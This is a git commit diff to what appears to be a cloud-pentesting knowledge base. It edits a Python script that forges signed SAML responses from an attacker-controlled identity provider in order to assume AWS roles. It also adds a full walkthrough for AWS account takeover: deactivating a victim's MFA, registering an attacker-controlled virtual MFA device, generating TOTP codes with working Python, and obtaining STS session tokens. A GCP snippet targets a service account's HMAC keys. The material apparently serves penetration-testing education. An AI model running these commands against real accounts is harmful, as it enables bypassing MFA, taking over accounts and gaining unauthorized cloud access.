Merge pull request #261 from JaimePolop/master

Changes Update SAML
This commit is contained in:
SirBroccoli
2026-02-23 11:13:23 +01:00
committed by GitHub
2 changed files with 101 additions and 15 deletions

View File

@@ -368,6 +368,7 @@ def _run(cmd: list[str]) -> str:
def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]:
key_path = os.path.join(tmpdir, "key.pem")
cert_path = os.path.join(tmpdir, "cert.pem")
_run(
[
"openssl",
@@ -390,19 +391,18 @@ def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]:
def _pem_cert_to_b64(cert_pem: str) -> str:
lines: list[str] = []
lines = []
for line in cert_pem.splitlines():
if "BEGIN CERTIFICATE" in line or "END CERTIFICATE" in line:
continue
line = line.strip()
if line:
lines.append(line)
if line.strip():
lines.append(line.strip())
return "".join(lines)
def make_metadata_xml(cert_b64: str) -> str:
return f"""<?xml version="1.0"?>
<EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://attacker.invalid/idp">
<EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://attacker-idp.invalid/idp">
<IDPSSODescriptor protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
<KeyDescriptor use="signing">
<KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
@@ -411,7 +411,7 @@ def make_metadata_xml(cert_b64: str) -> str:
</X509Data>
</KeyInfo>
</KeyDescriptor>
<SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://attacker.invalid/sso"/>
<SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://attacker-idp.invalid/sso"/>
</IDPSSODescriptor>
</EntityDescriptor>
"""
@@ -437,7 +437,7 @@ def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, c
response.set("Destination", "https://signin.aws.amazon.com/saml")
issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer"))
issuer.text = "https://attacker.invalid/idp"
issuer.text = "https://attacker-idp.attacker.invalid/idp"
status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status"))
status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode"))
@@ -449,7 +449,7 @@ def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, c
assertion.set("IssueInstant", issue_instant.isoformat())
a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer"))
a_issuer.text = "https://attacker.invalid/idp"
a_issuer.text = "https://attacker-idp.attacker.invalid/idp"
subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject"))
name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID"))
@@ -470,20 +470,30 @@ def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, c
audience = etree.SubElement(audience_restriction, etree.QName(ns["saml2"], "Audience"))
audience.text = "https://signin.aws.amazon.com/saml"
attr_stmt = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement"))
authn_statement = etree.SubElement(assertion, etree.QName(ns["saml2"], "AuthnStatement"))
authn_statement.set("AuthnInstant", issue_instant.isoformat())
authn_statement.set("SessionIndex", str(uuid.uuid4()))
attr_role = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
authn_context = etree.SubElement(authn_statement, etree.QName(ns["saml2"], "AuthnContext"))
authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns["saml2"], "AuthnContextClassRef"))
authn_context_class_ref.text = "urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport"
attribute_statement = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement"))
attr_role = etree.SubElement(attribute_statement, etree.QName(ns["saml2"], "Attribute"))
attr_role.set("Name", "https://aws.amazon.com/SAML/Attributes/Role")
attr_role_value = etree.SubElement(attr_role, etree.QName(ns["saml2"], "AttributeValue"))
attr_role_value.text = f"{role_arn},{principal_arn}"
attr_session = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
attr_session = etree.SubElement(attribute_statement, etree.QName(ns["saml2"], "Attribute"))
attr_session.set("Name", "https://aws.amazon.com/SAML/Attributes/RoleSessionName")
attr_session_value = etree.SubElement(attr_session, etree.QName(ns["saml2"], "AttributeValue"))
attr_session_value.text = "saml-session"
attr_session_value.text = "attacker-idp"
key_bytes = open(key_pem, "rb").read()
cert_bytes = open(cert_pem, "rb").read()
with open(key_pem, "rb") as f:
key_bytes = f.read()
with open(cert_pem, "rb") as f:
cert_bytes = f.read()
signer = XMLSigner(
method=methods.enveloped,
@@ -610,6 +620,82 @@ aws iam put-role-permissions-boundary \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
```
### `iam:CreateVirtualMFADevice`, `iam:EnableMFADevice`, CreateVirtualMFADevice & `sts:GetSessionToken`
The attacker creates a virtual MFA device under their control and attaches it to the target IAM user, replacing or bypassing the victims original MFA. Using the seed of this attacker-controlled MFA, they generate valid one-time passwords and request an MFA-authenticated session token via STS. This allows the attacker to satisfy the MFA requirement and obtain temporary credentials as the victim, effectively completing the account takeover even though MFA is enforced.
If the target user already has MFA, deactivate it (`iam:DeactivateMFADevice`):
```bash
aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME
```
Create a new virtual MFA device (writes the seed to a file)
```bash
aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt
```
Generate two consecutive TOTP codes from the seed file:
```python
import base64, hmac, hashlib, struct, time
seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)
def totp(t):
counter = int(t / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
return f"{code:06d}"
now = int(time.time())
print(totp(now))
print(totp(now + 30))
```
Enable MFA device on the target user, replace MFA_SERIAL_ARN, CODE1, CODE2:
```bash
aws iam enable-mfa-device \
--user-name TARGET_USER \
--serial-number MFA_SERIAL_ARN \
--authentication-code1 CODE1 \
--authentication-code2 CODE2
```
Generate a current token code (for STS)
```python
import base64, hmac, hashlib, struct, time
seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)
counter = int(time.time() / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")
```
Copy the printed value as TOKEN_CODE and request an MFA-backed session token (STS):
```bash
aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \
--token-code TOKEN_CODE
```
## References
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)

View File

@@ -99,7 +99,7 @@ gsutil hmac create <sa-email> # You might need to execute this inside a VM insta
## If you have TROUBLES creating the HMAC key this was you can also do it contacting the API directly:
PROJECT_ID = '$PROJECT_ID'
TARGET_SERVICE_ACCOUNT = f"exam-storage-sa-read-flag-3@{PROJECT_ID}.iam.gserviceaccount.com"
TARGET_SERVICE_ACCOUNT = f"storage-sa@{PROJECT_ID}.iam.gserviceaccount.com"
ACCESS_TOKEN = "$CLOUDSDK_AUTH_ACCESS_TOKEN"
import requests
import json